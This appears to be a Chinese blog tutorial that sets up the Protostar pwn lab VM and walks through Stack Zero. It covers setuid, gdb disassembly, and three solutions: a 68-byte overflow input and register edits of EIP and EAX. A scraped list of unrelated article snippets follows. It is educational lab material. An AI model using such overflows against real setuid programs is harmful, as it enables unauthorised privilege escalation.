二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO
简介
pwn是ctf比赛的方向之一,也是门槛最高的,学pwn前需要很多知识,这里建议先去在某宝上买一本汇编语言第四版,看完之后学一下python和c语言,python推荐看油管FreeCodeCamp的教程,c语言也是
pwn题目大部分是破解在远程服务器上运行的二进制文件,利用二进制文件中的漏洞来获得对系统的访问权限
这是一个入门pwn很好的靶场,这个靶场包括了:
网络编程
处理套接字
栈溢出
格式化字符串
堆溢出
写入shellcode
下载地址:
https://exploit.education/downloads/
实验环境部署
Protostar靶机下载地址:https://exploit.education/protostar/
windoows的ssh连接软件:https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html
下载完Protostar的镜像文件后,将其安装到vmware上,然后打开
账号为user,密码user
如何切换到root权限:进入user用户然后 su root 密码为godmod
ssh远程连接
输入IP后点击打开,输入账号密码,然后输入/bin/bash,更换为可以补全字符串的shell
在网站的Protostar靶机的介绍处,我们要破解的题目存放在这个目录下
/opt/protostar/bin
我们进入这个目录,详细查看文件
ls -al
发现文件都是红色的,我们详细的查看文件
flie stack0
这是一个32位的setuid程序
setuid
什么是setuid?
setuid代表设置用户身份,并且setuid设置调用进程的有效用户ID,用户运行程序的uid与调用进程的真实uid不匹配
这么说起来有点绕,我们来举一个例子
一个要以root权限运行的程序,但我们想让普通用户也能运行它,但又要防止该程序被攻击者利用,这里就需要用的setuid了
演示
我们用user用户运行一个vim
然后新开一个窗口查看后台进程
ps -aux
这里可以看到,我们的vim正在以user的权限运行中,然后我们去执行一下靶机上的setuid文件看看
这里可以看到,我们虽然是user用户,但执行文件后,文件正以root权限运行
我们查看文件的权限
r代表读,w代表写,x代表执行,那s是什么呢
s替换了以x的可执行文件,这被称为setuid位,根据刚刚的操作,应该知道了s是做什么的
当这个位被user权限的用户执行时,linux实际上是以文件的创造者的权限运行的,在这种情况下,它是以root权限运行的
我们的目标就是,破解这些文件然后拿到root权限
STACK ZERO程序源代码分析
我们破解一个简单的题,通过分析汇编语言,以及相关的知识,来带大家进一步了解程序是如何运行的以及如何破解的
题目的源代码:https://exploit.education/protostar/stack-zero/
题目详情:这个级别介绍了内存可以在其分配区域之外访问的概念,堆栈变量的布局方式,以及在分配的内存之外进行修改可以修改程序执行。
分析源代码,这是由c语言写成的程序,
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>int main(int argc, char **argv)
{volatile int modified; //定义一个变量char buffer[64]; //给buffer变量定义数组,c语言中一个字符数就是一个字符串modified = 0; //modified变量=0gets(buffer); //获取我们的输入,赋予到buffer变量里if(modified != 0) { //如果modified不等于0printf("you have changed the 'modified' variable\n"); //打印'成功改变modified变量'字符串} else { //否则printf("Try again?\n"); //打印'再试一次'}
}
很明显,我们要使if语句成功判断,打印成功改变变量的字符串,关于如何破解程序,获取root权限,我会在下一篇文章中介绍
gets函数漏洞分析
在gets函数的官方文档里,有这么一句话
永远不要使用gets函数,因为如果事先不知道数据,就无法判断gets将读取多少个字符,因为gets将继续存储字符当超过缓冲区的末端时,使用它是极其危险的,它会破坏计算机安全,请改用fgets。
汇编分析
我们使用gdb打开程序进行进一步的分析
gdb /opt/protostar/bin/stack0
然后我们查看程序的汇编代码,来了解程序的堆栈是如何工作的
set disassembly-flavor intel 参数让汇报代码美观一点
disassemble main 显示所有的汇编程序指令
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
0x080483f4 <main+0>: push ebp
第一条是将ebp推入栈中,ebp是cpu的一个寄存器,它包含一个地址,指向堆栈中的某个位置,它存放着栈底的地址,在因特尔的指令参考官方资料中,可以看到,mov esp、ebp和pop ebp是函数的开始和结束
https://www.intel.de/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures-software-developer-instruction-set-reference-manual-325383.pdf
在这个程序中,最初操作是将ebp推入栈中,然后把esp的值放入ebp中,而当函数结束时执行了leave操作
0x08048433 <main+63>: leave
leave:
mov esp,ebp
pop ebp
可以看到,程序开头和结尾的操作都是对称的
之后执行了如下操作
0x080483f7 <main+3>: and esp,0xfffffff0
AND 指令可以清除一个操作数中的 1 个位或多个位,同时又不影响其他位。这个技术就称为位屏蔽,就像在粉刷房子时,用遮盖胶带把不用粉刷的地方(如窗户)盖起来,在这里,它隐藏了esp的地址
0x080483fa <main+6>: sub esp,0x60
然后esp减去十六进制的60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
在内存移动的位置为0,在堆栈上的偏移为0x5c
段地址+偏移地址=物理地址
举一个例子,你从家到学校有2000米,这2000米就是物理地址,你从家到医院有1500米,离学校还要500米,这剩下的500米就是偏移地址
这里推荐大家看一下《汇编语言》这本书,在这本书里有很多关于计算机底层的相关知识
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
lea操作是取有效地址,也就是取esp地址+偏移地址0x1c处的堆栈
然后DWORD PTR要取eax的地址到esp中
调用gets函数
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
然后对比之前设置的值,0,用test来检查
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
这些就是if循环的操作了
实战演示
方法一:溢出
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048405 <main+17>: lea eax,[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
我们先在gets函数地址下一个断点,这样程序在运行到这个地址时会停止继续运行下一步操作。
断点意思就是让程序执行到此“停住”,不再往下执行
b *0x0804840c
然后在调用gets函数后下一个断点,来看我们输入的字符串在哪里
b *0x08048411
然后设置
define hook-stop
这个工具可以帮助我们在每一步操作停下来后,自动的运行我们设置的命令
info registers //显示寄存器里的地址
x/24wx $esp //显示esp寄存器里的内容
x/2i $eip //显示eip寄存器里的内容
end //结束
然后我们输入run运行程序到第一个断点
r
现在我们马上就要执行gets函数了,输入n执行gets函数
n //next
我们随意输入一些内容,按下回车键
可以看到,0x41是A的ascii码,我们距离0x0000000还有一段距离
x/wx $esp+0x5c //查看esp地址+0x5c偏移地址的内容
算了一下,我们需要68个字符才能覆盖
输入q退出gdb
然后使用echo或者python对程序进行输入
echo 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' | /opt/protostar/bin/stack0
python -c 'print "A"*(4+16*3+14)' | /opt/protostar/bin/stack0
可以看到,我们已经成功打印出了正确的字符
方式二:更改eip寄存器的值
寄存器的功能是存储二进制代码,不同的寄存器有不同的作用,这里,我们要认识一个很重要的寄存器,他叫做EIP,在64位程序里叫做RIP,他是程序的指针,指针就是寻找地址的,指到什么地址,就会运行该地址的参数,控制了这个指针,就能控制整个程序的运行
重新打开程序,由于我们可以控制eip寄存器,随便在哪下一个断点都行,我这里在程序头下一个断点
b *main
运行程序到断点处
r
查看所有寄存器的值
info registers
我打的断点地址为0x80483fd而eip寄存器的值也是0x80483fd
查看程序汇编代码
如果我们输入的值和程序设置的值不一样,就会跳转到0x8048427这个位置,然后输出try again,也就是破解失败,所以我们将eip寄存器的值修改成0x8048419,下一个地址调用了put函数,输出的是you have changed the ‘modified’ variable也就是破解成功了
现在我们修改eip寄存器的值
set $eip=0x8048419
修改后再次查看所有寄存器里的值,可以看到,现在eip指向了我们指定的地址
n //执行下一个地址
破解成功
方式三:修改eax寄存器的值
最直接的方法是改变对比的值,使eax寄存器的值为不等于0,因为程序源代码逻辑为不等于0后才会输出正确的提示字符you have changed the ‘modified’ variable
在对比的地方下一个断点
b *0x08048415
运行程序
r
查看所有寄存器里的值
修改eax寄存器里的值
set $eax = 1
然后继续运行程序
破解成功
相关文章:

二进制安全虚拟机Protostar靶场 安装,基础知识讲解,破解STACK ZERO
简介 pwn是ctf比赛的方向之一,也是门槛最高的,学pwn前需要很多知识,这里建议先去在某宝上买一本汇编语言第四版,看完之后学一下python和c语言,python推荐看油管FreeCodeCamp的教程,c语言也是 pwn题目大部…...
python实现的一些方法,可以直接拿来用的那种
1、日期生成 很多时候我们需要批量生成日期,方法有很多,这里分享两段代码 获取过去 N 天的日期: import datetimedef get_nday_list(n):before_n_days []for i in range(1, n 1)[::-1]:before_n_days.append(str(datetime.date.today() …...

通过HTTP进行并发的数据抓取
在进行大规模数据抓取时,如何提高效率和稳定性是关键问题。本文将介绍一种可操作的方案——使用HTTP代理来实现并发的网页抓取,并帮助您加速数据抓取过程。 1. 选择合适的HTTP代理服务供应商 - 寻找信誉良好、稳定可靠且具备较快响应时间的HTTP代理服务…...

《论文阅读21》Equivariant Multi-View Networks
一、论文 研究领域:计算机视觉 | 多视角数据处理中实现等变性论文:Equivariant Multi-View Networks ICCV 2019 论文链接视频链接 二、论文简述 在计算机视觉中,模型在不同视角下对数据(例如,点云、图像等࿰…...

【数据结构】| 并查集及其优化实现
目录 一. 并查集基本概念处理过程初始化合并查询小结 二. 求并优化2.1 按大小求并2.2 按秩(高度)求并2.3 路径压缩2.4 类的实现代码2.5 复杂度分析 三. 应用LeetCode 128: 最长连续数列LeetCode 547: 省份数量LeetCode 200: 岛屿数量 一. 并查集基本概念 以一个直观的问题来引入…...

最新ChatGPT程序源码+AI系统+详细图文部署教程/支持GPT4.0/支持Midjourney绘画/Prompt知识库
一、AI系统 如何搭建部署人工智能源码、AI创作系统、ChatGPT系统呢?小编这里写一个详细图文教程吧!SparkAi使用Nestjs和Vue3框架技术,持续集成AI能力到AIGC系统! 1.1 程序核心功能 程序已支持ChatGPT3.5/GPT-4提问、AI绘画、Mi…...

自动驾驶和辅助驾驶系统的概念性架构(一)
摘要: 本文主要介绍包括功能模块图,涵盖了底层计算单元、示例工作负载和行业标准。 前言 本文档参考自动驾驶计算联盟(Autonomous Vehicle Computing Consortium)关于自动驾驶和辅助驾驶计算系统的概念系统架构。 该架构旨在与SAE L1-L5级别的自动驾驶保…...

【两周学会FPGA】从0到1学习紫光同创FPGA开发|盘古PGL22G开发板学习之数码管静态显示(四)
本原创教程由深圳市小眼睛科技有限公司创作,版权归本公司所有,如需转载,需授权并注明出处 适用于板卡型号: 紫光同创PGL22G开发平台(盘古22K) 一:盘古22K开发板(紫光同创PGL22G开发…...

【洛谷】P3853 路标设置
原题链接:https://www.luogu.com.cn/problem/P3853 目录 1. 题目描述 2. 思路分析 3. 代码实现 1. 题目描述 2. 思路分析 整体思路:二分答案 由题意知,公路上相邻路标的最大距离定义为该公路的“空旷指数”。在公路上增设一些路标&…...

探索图像数据中的隐藏信息:语义实体识别和关系抽取的奇妙之旅
探索图像数据中的隐藏信息:语义实体识别和关系抽取的奇妙之旅 1. 简介 1.1 背景 关键信息抽取 (Key Information Extraction, KIE)指的是是从文本或者图像中,抽取出关键的信息。针对文档图像的关键信息抽取任务作为OCR的下游任务,存在非常…...
Gradle问题处理
目录 一、依赖搜索问题1.1 、Gradle不在本地 Maven 存储库中进行搜索一、依赖搜索问题 1.1 、Gradle不在本地 Maven 存储库中进行搜索 场景 build.gradle文件: buildscript {repositories {mavenLocal()google()mavenCentral()}dependencies...
架构:C4 Model
概念 C4说穿了就是几个要素:关系——带箭头的线、元素——方块和角色、关系描述——线上的文字、元素的描述——方块和角色里的文字、元素的标记——方块和角色的颜色、虚线框(在C4里面虚线框的表达力被极大的限制了,我觉得可以给虚线框更大…...
数据结构学习系列之顺序表的两种修改方式
方式1:根据顺序表中数据元素的位置进行修改,代码如下:示例代码: int modify_seq_list_1(list_t *seq_list,int pos, int data){if(NULL seq_list){printf("入参为NULL\n");return -1;}if( pos < 0 || pos > seq…...
React:props说明
props是只读对象(readonly) 根据单项数据流的要求,子组件只能读取props中的数据,不能进行修改props可以传递任意数据 数字、字符串、布尔值、数组、对象、函数、JSX import FileUpdate from ./FileUpdate; export default class …...

Can‘t connect to local MySQL server through socket ‘/tmp/mysql.sock‘
最近在用django框架开发后端时,在运行 $python manage.py makemigrations 命令时,报了以上错误,错误显示连接mysql数据库失败,查看了mysql数据库初始化配置文件my.cnf,我的mysql.sock文件存放路径配置在了/usr/local…...
C++的单例模式
忘记之前有没有写过单例模式了。 再记录一下: 我使用的代码: #ifndef SINGLETON_MACRO_HPP #define SINGLETON_MACRO_HPP#define SINGLETON_DECL(class_name) \ public: \static class_name& instance() { \static class_name s_instance; \return …...

Spring Boot 中 Nacos 配置中心使用实战
官方参考文档 https://nacos.io/zh-cn/docs/quick-start-spring-boot.html 本人实践 1、新建一个spring boot项目 我的spirngboot版本为2.5.6 2、添加一下依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-…...

学生管理系统VueAjax版本
学生管理系统VueAjax版本 使用Vue和Ajax对原有学生管理系统进行优化 1.准备工作 创建AjaxResult类,对Ajax回传的信息封装在对象中 package com.grg.Result;/*** Author Grg* Date 2023/8/30 8:51* PackageName:com.grg.Result* ClassName: AjaxResult* Descript…...
迭代器模式简介
概念: 迭代器模式是一种行为型设计模式,它提供了一种访问集合对象元素的方法,而无需暴露其内部表示。通过使用迭代器,可以按照特定顺序遍历集合中的元素。 特点: 将遍历和具体集合分离,使得能够独立地改…...
四方定理c++题解
题目描述 四方定理是数论中著名的一个定理,指任意一个自然数都可以拆成四个自然数的平方之和。例如: 251^22^22^24^2 对 25来说,还有其他方案: 250^20^23^24^2 以及 250^20^20^25^2 给定一个自然数 n ,请输出 n…...
【SpringBoot】100、SpringBoot中使用自定义注解+AOP实现参数自动解密
在实际项目中,用户注册、登录、修改密码等操作,都涉及到参数传输安全问题。所以我们需要在前端对账户、密码等敏感信息加密传输,在后端接收到数据后能自动解密。 1、引入依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId...

【第二十一章 SDIO接口(SDIO)】
第二十一章 SDIO接口 目录 第二十一章 SDIO接口(SDIO) 1 SDIO 主要功能 2 SDIO 总线拓扑 3 SDIO 功能描述 3.1 SDIO 适配器 3.2 SDIOAHB 接口 4 卡功能描述 4.1 卡识别模式 4.2 卡复位 4.3 操作电压范围确认 4.4 卡识别过程 4.5 写数据块 4.6 读数据块 4.7 数据流…...

ETLCloud可能遇到的问题有哪些?常见坑位解析
数据集成平台ETLCloud,主要用于支持数据的抽取(Extract)、转换(Transform)和加载(Load)过程。提供了一个简洁直观的界面,以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
linux 下常用变更-8
1、删除普通用户 查询用户初始UID和GIDls -l /home/ ###家目录中查看UID cat /etc/group ###此文件查看GID删除用户1.编辑文件 /etc/passwd 找到对应的行,YW343:x:0:0::/home/YW343:/bin/bash 2.将标红的位置修改为用户对应初始UID和GID: YW3…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
【服务器压力测试】本地PC电脑作为服务器运行时出现卡顿和资源紧张(Windows/Linux)
要让本地PC电脑作为服务器运行时出现卡顿和资源紧张的情况,可以通过以下几种方式模拟或触发: 1. 增加CPU负载 运行大量计算密集型任务,例如: 使用多线程循环执行复杂计算(如数学运算、加密解密等)。运行图…...
JVM暂停(Stop-The-World,STW)的原因分类及对应排查方案
JVM暂停(Stop-The-World,STW)的完整原因分类及对应排查方案,结合JVM运行机制和常见故障场景整理而成: 一、GC相关暂停 1. 安全点(Safepoint)阻塞 现象:JVM暂停但无GC日志,日志显示No GCs detected。原因:JVM等待所有线程进入安全点(如…...

【C++特殊工具与技术】优化内存分配(一):C++中的内存分配
目录 一、C 内存的基本概念 1.1 内存的物理与逻辑结构 1.2 C 程序的内存区域划分 二、栈内存分配 2.1 栈内存的特点 2.2 栈内存分配示例 三、堆内存分配 3.1 new和delete操作符 4.2 内存泄漏与悬空指针问题 4.3 new和delete的重载 四、智能指针…...

[免费]微信小程序问卷调查系统(SpringBoot后端+Vue管理端)【论文+源码+SQL脚本】
大家好,我是java1234_小锋老师,看到一个不错的微信小程序问卷调查系统(SpringBoot后端Vue管理端)【论文源码SQL脚本】,分享下哈。 项目视频演示 【免费】微信小程序问卷调查系统(SpringBoot后端Vue管理端) Java毕业设计_哔哩哔哩_bilibili 项…...